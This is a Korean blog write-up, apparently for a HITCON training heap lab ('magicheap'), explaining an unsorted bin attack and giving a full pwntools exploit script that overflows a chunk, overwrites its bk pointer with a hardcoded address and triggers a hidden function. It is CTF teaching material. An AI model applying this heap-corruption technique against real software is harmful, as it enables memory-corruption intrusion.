hint : unsorted bin attack
우선 이 문제는 쉘을 직접 획득하지 않고 magic이라는 전역변수에 0x1305보다 큰 값이 들어가면 l33t()라는 함수를 실행시켜준다.
unsroted bin attack으로 magic변수에 값을 넣어주면 문제를 해결할 수 있다.
우선 unsorted bin attack이 가능하게 할 조건은 아래와 같다.
1. 공격자에 의해 Unsorted chunk를 생성 할 수있어야 한다.
2. 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 한다.
3. 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 한다.
이 문제는 위 조건에 대해 막는 부분이 없기 때문에 손쉽게 익스를 할 수 있다.
익스 방법은 create()함수로 3번의 할당을 받는다.
그리고 delete()로 두번째 heap영역을 free시켜주면 unsorted bin chunk가 생긴다.
그 다음 첫번째 heap 영역을 edit()함수로 오버플로우해서 2번째 chunk의 bk를 magic - 16으로 덮는다.
그리고 다시 create()함수로 free된 chunk의 사이즈와 같은 사이즈로 새 할당을 받으면 bk값을 확인한 후 다음 chunk가 존재한다고 판단해서 main_arena+88의 주소를 magic에 넣게 된다.
free() 함수는 magic - 16 영역이 다음 chunk이기 때문에 fd 영역(magic)에 free chunk의 fd값을 저장한다.
exploit code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import * def create(size, content): r.sendline( "1" ) #r.recv() r.sendline( str (size)) #r.recv() r.send(content) #r.recv() def edit(index, size, content): r.sendline( "2" ) #r.recv() r.sendline( str (index)) #r.recv() r.sendline( str (size)) #r.recv() r.sendline(content) #r.recv() def delete(index): r.sendline( "3" ) #r.recv() r.sendline( str (index)) #r.recv() if __name__ = = "__main__" : r = process( "./magicheap" ) create( 150 , "AAAA" ) create( 150 , "BBBB" ) create( 150 , "CCCC" ) delete( 1 ) payload = "D" * 152 payload + = p64( 0xa1 ) payload + = p64( 0 ) payload + = p64( 0x6020b0 ) edit( 0 , 176 , payload) pause() create( 150 , "1111" ) r.sendline( "4869" ) r.interactive() |
'Wargame > Hitcon training' 카테고리의 다른 글
HITCON training lab11 (house of force) (0) | 2018.10.29 |
---|---|
HITCON training lab10 (0) | 2018.10.25 |
HITCON training lab6 (0) | 2018.10.22 |
HITCON training lab4 (0) | 2018.10.18 |
HITCON training lab5 (0) | 2018.10.16 |